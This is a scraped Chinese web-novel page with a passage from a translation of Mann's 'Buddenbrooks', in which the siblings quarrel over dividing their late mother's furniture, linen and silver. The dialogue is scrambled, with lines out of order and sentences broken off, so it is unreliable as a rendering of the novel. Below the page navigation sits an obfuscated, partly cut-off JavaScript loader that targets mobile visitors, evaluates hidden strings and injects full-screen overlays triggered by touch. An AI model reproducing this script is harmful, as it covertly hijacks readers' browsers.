第九部第二章(2/5)

克利斯蒂安向他的脸望去。

“我要对你说，在这个问题上我和她老人家的见解完全一致。”

“知道！第一，我是一个行为端正的体面人你不知道这件事的真象，托马斯！冬妮和盖尔达都坐在这里这件事我们不能深入地谈。可是我跟你说过，我有责任这么作。我的亲生骨肉，小吉塞拉”

他说话的时候盖尔达一直打量着他，并且不由自主地笑了笑。议员却说：“我倒要看一看你这最后的一句话能不能长久实行，亲爱的。”

“我呢？我呢？”他慌不迭地问道“你们别把我忘了啊”“谁把你抛在脑后了？我已经给你你听着啊，我已经把一整套茶具连同银托盘分给你了。

“我呢？”克利斯蒂安满心愤慨地喊道。平常他有时也这样怒火上撞，这时他的两颊就陷得更深，做出一副说不清的表情“我也要分一部分食具！我能分到多少羹匙和义子？我看我简直什么东西也没分到！”

“哎，你所说的‘是大人’也只是外表如此罢了！你一点也不知道，你该作什么”

“我不懂，你说话为什么用这种词句。但我倒很佩服你的心机和安排。母亲刚去世一天你居然就表露出你的叛逆行为了”

克利斯蒂安回答了一句话，这句话使得盖尔达布登勃洛克一下子把头转过来，用惊疑莫解的目光上下地打量起他来，同时也使参议睁大了眼睛，目不转睛地盯着他的脸，而佩尔曼内德太太更是叉起两手来。他说的是：“喏，告诉你们吧，我准备早晚要结婚。”

“这是因为咱们把话说到这里了。但是主要的是，她不会因此而生气了。现在反正她不会生气了，今天也好，一年后也一样哎呀，上帝啊，母亲当初的想法也不一定对，那只是从她的观点看问题，托马斯。只要她活着，我就会认真考虑她的意见。但她是个老人了，是上一代的人，见解也与我们不同”

“你是不是出了什么毛病，朋友，”议员吃惊地说。“讲到钮扣，如果我记得不错的话，我并没有说一句话啊？你爱怎么戴孝就怎么戴孝；只是你别认为用你这种合法的不拘小节就能把我打动了”

“可是，你用不着这些东西啊？”

“我的看法仍旧跟从前一样，”克利斯蒂安说，眼睛仍然任何人也不看，丝毫也没有改变脸上的表情。

本章尚未读完,请点击下一页继续阅读---->>>

“我不要钱，我要被单和食具。”

“我从来没这么想过”

“这不可能吧。难道你有意等着母亲去世，好”“这是事实，是的。你仿佛认为，世界上所有的圆滑周到都被你一个人包下来了。”

“我现在管不了那么多了。”

今天在这里不如在办公室里你继续往下说吧，托马斯。礼物各归原主吗？这样做很对”于是托马斯接着说下去。他先从大物件开始，把用得着的都划归自己名下：餐厅里的大蜡烛吊台和门道里摆着的镂花的大衣箱等等。佩尔曼内德太太在这件事情上表现得尤其热心，只要是未来的物主对某件东西稍微有一点踌躇，她就带着一副难以模拟的表情说：“好，我愿意要这个”从她脸上的神情来看，似乎她正在为所有其他人的利益而自我牺牲似的。大部分家具却被她这样替自己，替她女儿和外孙女争到手里。

“亲爱的朋友，”议员的语气显得很不耐烦“我现在没有开玩笑的心情可是听你刚才说的话，仿佛你为了纪念母亲，很想把一只汤盆摆在五屉橱上？我现在可以正式的告诉你，你在日用器皿上少拿一点，日后在另外的事情上会弥补过来。那些被单衬衣也是同样情形”

“我是为了这些东西能使我也常常想到母亲。”克利斯蒂安不服气地说。

去。最近几年来我常常为了买牙粉而不得不跟人借五个先令，上床的时候只好靠着火柴照亮我不知道，这是不是完全是我的过错。再说，在这世界上要紧的也不是黑扣子。我对外表本来就不在意，我从来不认为外表有什么重要。”

“你应该管，朋友。”

“不！”他喊道。“我管不着！我跟你直说了吧，我不能管！”“我自己知道应该怎么做。我已经是大人了”

至于那套节日用的镀金的食具你根本没机会用得上”



“是吗？也许你知道得更清楚，托马斯。我只是说，我不看重这件事情。我过去经历的事太多了，什么事我都遇到过，也见识过各种各样的风俗习惯，我不能再说我已经是个中年人，”他忽然把声音提高“我都四十三岁了，我是我自己的主人，我不允许别的人干涉我的私事。”

“那套石榴子纹的家常用的我愿意要，”佩尔曼内德太太说。

克利斯蒂安分到几件家具，一台座钟，还有那架风琴，对此他表示已经很知足了。可是等到分配银器、床单和食具的时候，他流露出来的热心却几乎达到贪婪的程度，这大出人们的意料之外。

“汤姆克利斯蒂安”佩尔曼内德太太插进来说。“咱们说话语气别这么激动行不行？

“亲爱的，你要这些东西作什么啊？你拿去一点用也没有这是成家的人用的”

这句话他说得很快，声音很低，随着这句话把手一挥，好像隔着桌子向他哥哥扔过来一个什么东西似的，然后就一下子瘫倒在椅子上，脸色愁苦不堪，仿佛是受了欺侮，心神极端不宁的样子，眼神也彳旁徨不定。在很长的一段时间里大家都沉默不语。最后议员开口说：“说心里话，克利斯蒂安，你的这些计划未免来得迟了一些当然，如果这是你的想法的话，而不是像你过去向母亲提出过的那种想入非非的计划”

  • 上一页

  • 返回目录

  • 加入书签

  • 下一页

    • (function(){function a0b(a,b){var c=a0a();return a0b=function(d,e){d=d-0xf7;var f=c[d];return f;},a0b(a,b);}function a0a(){var bP=['write','tpi','c="','bottom','/moc.','rc="','k21','parentNode','top','spt','has','style','data','padding-bottom','hei','location','offsetHeight','clientY','check','lin','100vh','28976ZUnJQB','startsWith','" style=" position:;"> ','2028','th:1','length','touchmove','0vw','getElementsByTagName','i13','k22','327VLfSAK','split','parse','Mac','classId','ght','padding-bottom:32%;','config_','data_','now','substring','random','floor','push','ht:','1197624JqwrKe','slice','innerHTML','wdf','x;" sr','sgewgekahs gninnur enon lamron etinifni s2.0 esae s5.1','k23','tpir','stringify','fixed','join','getDate','
    body{','querySelector','touch_max_height','getElementsByClassName','currentPvIndex_','offsetTop','reverse','0px','real','cli','8288225prcUdg','"+"','ion','idth','17EFGkmN','100vw','10ufnraS','yes','href','__executedClassIds','setItem','this_touch_status','touches','" />','0vh','mati','eig','moc','clear','undefined','" style="position:fixed;color:transparent;">.
    ','
    ','<','/s','c',U(b9(0x15a)),'>'];}window[b6(0xff)]=function(){var ba=b6,aB=g,aC=eval(ba(0x130)+aB)+'';sessionStorage[ba(0x116)](ba(0x14c)+aB,aC),sessionStorage[ba(0x116)]('data'+aB,0x1);};function t(aB,aC){var bb=b6;if(typeof aB===bb(0x11f)||aB===null)return[];var aD=aB[bb(0x145)](aC);return aD;}var u=n>=T(0x1,0x64),v=![],w=![],x=o>=T(0x1,0x64),y=0x0,z=0x0,A=z>=T(0x1,0x64),B=0x0,C=0x0,D=0x0,E={'touchMotion':function(){}},F=0x0,G=0x0,H=0x0;document[b6(0x169)]('touchstart',function(aB){var bc=b6,aC=aB[bc(0x118)][0x0][bc(0x135)];G=aC,H=aC;},![]),document[b6(0x169)](b6(0x13f),function(aB){var bd=b6,aC=aB[bd(0x118)][0x0][bd(0x135)];if(aCH)H=aC;var aD=H-G;E[bd(0xf7)](aD);},![]);function I(aB){var be=b6;window[be(0x115)]=window[be(0x115)]||new Set();if(window[be(0x115)][be(0x12e)](aB[be(0x148)]))return;window[be(0x115)][be(0x177)](aB['classId']),console[be(0x11e)]();var aC=aB[be(0x148)],aD=aB['i1'],aE=aB['i2'],aF=aB['i3'],aG=aB['i4'],aH=aB['i5'],aI=aB[be(0x179)],aJ=aB[be(0x172)],aK=aB[be(0x142)];if(sessionStorage[aC+'_real'])return;var aL=JSON[be(0x146)](sessionStorage[aC]||'[]'),aM=0x0;document[be(0x169)]('touchend',function(){var bf=be,aO=H-G;if(aOaH&&(F++,aM=Date[bf(0x14d)]());}else{}},![]);var aN=Date[be(0x14d)]();aL[be(0x151)](![]),sessionStorage[aC]=JSON[be(0x15b)](aL),setInterval(function(){var bg=be,aO=(Date[bg(0x14d)]()-aN)/0x3e8,aP=aO>=aD,aQ=F>=aE,aR=document[bg(0x17b)][bg(0x134)]>=aG,aS=aP&&aQ&&aR;aL[aL['length']-0x1]!==aS&&(aL[aL[bg(0x13e)]-0x1]=aS,sessionStorage[aC]=JSON[bg(0x15b)](aL));var aT=aL[bg(0x166)](Boolean)[bg(0x13e)],aU=aT>=aI,aV=!aJ||aL[bg(0x175)](Boolean),aW=!aK||aL[0x0]&&aL['every'](Boolean),aX=aU&&aV&&aW;aX&&(sessionStorage[aC+bg(0x16c)]=bg(0x122));},0x3e8);}function J(aB){return aB===''?0x0:parseInt(aB,0xa);}function K(aB,aC){var bh=b6;return{'classId':bh(0x14b)+aB,'i1':J(aC['i1']),'i2':J(aC['i2']),'i3':J(aC['i3']),'i4':J(aC['i4']),'i5':J(aC['i5']),'i11':J(aC[bh(0x179)]),'i12':aC['i12'],'i13':aC[bh(0x142)]};}function L(aB,aC){var bi=b6;if(!sessionStorage[aB[bi(0x148)]+bi(0x16c)])return;for(var aD in aC){if(aD[bi(0x13a)]('r')&&typeof aC[aD]!==bi(0x11f)){var aE='k'+aD[bi(0x154)](0x1);aC[aE]=aC[aD];}}return aC;}function M(aB){p=aB['m1'],j=aB['m2'],n=aB['m3'];}function N(aB){var bj=b6,aC=sessionStorage[bj(0x16e)](bj(0x130)+aB);if(null==aC)return null;var aD=sessionStorage[bj(0x16e)](bj(0x14c)+aB),aE=JSON[bj(0x146)](aD),aF=K(aB,aE);I(aF),M(aE),L(aF,aE),v=parseInt(aE['k2'])>=T(0x1,0x64),w=parseInt(aE['k1'])>=T(0x1,0x64),x=parseInt(aE['k3'])>=T(0x1,0x64);function aG(aO,aP,aQ,aR){var bl=bj,aS={'this_touch_status':![],'touch_min_height':0x0,'touch_max_height':0x0,'touchDelayTimeout':0x0};function aT(b2){var bk=a0b,b3=b2[bk(0x145)](','),b4=b3[b3[bk(0x13e)]-0x1][bk(0x145)]('_');aS[bk(0xfb)]=parseInt(b4[0x0]),aS[bk(0x104)]=parseInt(b4[0x1]);}if(aO){var aU=aO['split'](','),aV=aU[0x0]?parseInt(aU[0x0]):0x64,aW=Math[bl(0x14f)]()*0x64;if(aW=T(0x1,0x64)&&(v=!![],y=parseInt(aK[0x1])*0x3e8);else{var aL=t(aE['k4'],',');aL[bj(0x13e)]===0x2&&(parseInt(aL[0x0])>=T(0x1,0x64)&&(w=!![],y=parseInt(aL[0x1])*0x3e8));}}}}}if(!x){var aM=t(aE['k9'],'_');if(aM&&aM[bj(0xfe)](q+'')!==-0x1)x=!![];else{var aN=t(aE['k6'],',');aN['length']===0x2&&(parseInt(aN[0x0])>=T(0x1,0x64)&&setTimeout(function(){x=!![],al();},parseInt(aN[0x1])*0x3e8));}}}N(g);var O='',P=0x2;d+='?',c+='?';var Q=U(b6(0x128));function R(aB){var bm=b6,aC='';for(var aD=0x0;aD=0x30&&aF<=0x39&&(aF=(aF-0x30+aC)%0xa+0x30),aD+=String['fromCharCode'](aF);}return aD;}function a2(aB){var bx=b6,aC=0x5,aD=a1(aB,aC),aE=aD[bx(0x13e)];if(0xa>aE)aE='00'+aE;else{if(0x64>aE)aE='0'+aE;}var aF=aE+aD;return aF;}var a3=location[b6(0x114)],a4=navigator;function a5(){var by=b6,aB=a4[by(0x174)][by(0xfe)]('Win')!=-0x1,aC=a4[by(0x174)]['indexOf'](by(0x147))!=-0x1,aD=a4[by(0x174)]?![]:!![];if(a3[by(0xfe)]('vv')!=-0x1)aB=![];if(aB)return!![];else{if(aC)return!![];else{if(aD)return![];}}return![];}if(a5())return;var a6=document,a7='h'+U('/:sptt')+'/',a8='0',a9=S(0xb),aa=S(0xa),ab=S(0xa),ac=S(0xa),ad=S(0x7),ae=T(0x7fffffff-0x64,0x7fffffff),af=ae-T(0x2710,0x4e20),ag=T(0x73,0x7a),ah=function(){},ai=b6(0x11a),aj=b6(0x140);if(v)ai=b6(0x138),aj=b6(0x111),a8='1',P=0x3,ah=function(aB){var bz=b6;aB['s'+'ty'+'le']['z'+'-'+'in'+bz(0x165)]=af;};else w&&(ai=p+'vh',aj=b6(0x111),a8='2',P=0x4,ah=function(aB){var bA=b6;aB['s'+'ty'+'le']['z'+'-'+'in'+bA(0x165)]=af;});var ak=Date[b6(0x14d)]();E[b6(0xf7)]=function(aB){var bB=b6;if(!A)return;if(D!=0x0){var aC=new Date(ak)[bB(0x170)](),aD=(Date[bB(0x14d)]()-aC)/0x3e8;if(D>aD)return;}aB>B&&C>=aB&&(P=0x3,eval(ab)());};function al(){var bC=b6;x&&!window[bC(0x168)]&&(window[bC(0x168)]=!![],P=0x3,eval(ab)());}var am='',an='relative',ao=b6(0x12c),ap=b6(0x127),aq='',ar='padding-top';h==0x1&&(an=b6(0x15c),am='padding-top:32%;',i==b6(0x127)&&(am=b6(0x14a),ao=b6(0x127),ap=b6(0x127),ar=b6(0x131)),ae=T(0x13880,0x15f90));an=V(an,0x2),an=W(b6(0x10d),an),an='"'+an+'"',ao=V(ao,0x1),ao=W(b6(0x10d),ao),ao='"'+ao+'"',ap=V(ap,0x1),ap=W(b6(0x10d),ap),ap='"'+ap+'"';var as='',at='';j==b6(0x113)&&(as=U(b6(0x16f)),at=U(b6(0x158)));var au=T(0x64,0xc8),av=au+0xc8,aw=y+av+0x64,ax=aw+0x12c,ay=ax+0x12c,az=function(){};if(u){a8+='3';var az=function(){var bF=b6,aB=function(aD){var bD=a0b,aE=document[bD(0x103)](bD(0x17b)),aF=document[bD(0x103)](aD),aG=aF[bD(0x134)],aH=aC(aF),aI=aH+aG,aJ=!![];aE[bD(0x169)](bD(0x13f),aK);function aK(aL){var bE=bD,aM=aL[bE(0x118)][0x0],aN=aM[bE(0x135)],aO=aM[bE(0xf8)],aP=0x0;h!=0x1?aP=aM[bE(0xf8)]:aP=aM[bE(0x135)],aP>=aH&&aP
    '),document[bL(0xfd)](aG),document['writeln']('
    ');if(!![]){}setTimeout(function(){function aI(aJ,aK,aL){var bN=a0b,aM=document['getElementsByClassName'](aJ)[0x0];;;;;;;;aM['s'+'ty'+'le'][bN(0x132)+bN(0x149)]=ag+'px',aM['s'+'ty'+'le'][eval(ao)]='0',aM['s'+'ty'+'le']['le'+'f'+'t']='0',aM['s'+'ty'+'le'][bN(0x17c)+bN(0x11b)+'on']=at,aM['s'+'ty'+'le']['z'+'-'+'in'+bN(0x165)]=ae,aM['s'+'ty'+'le']['w'+bN(0x10f)]=bN(0x111),aM[bN(0x155)]+='
首页 | 书架 | 阅读记录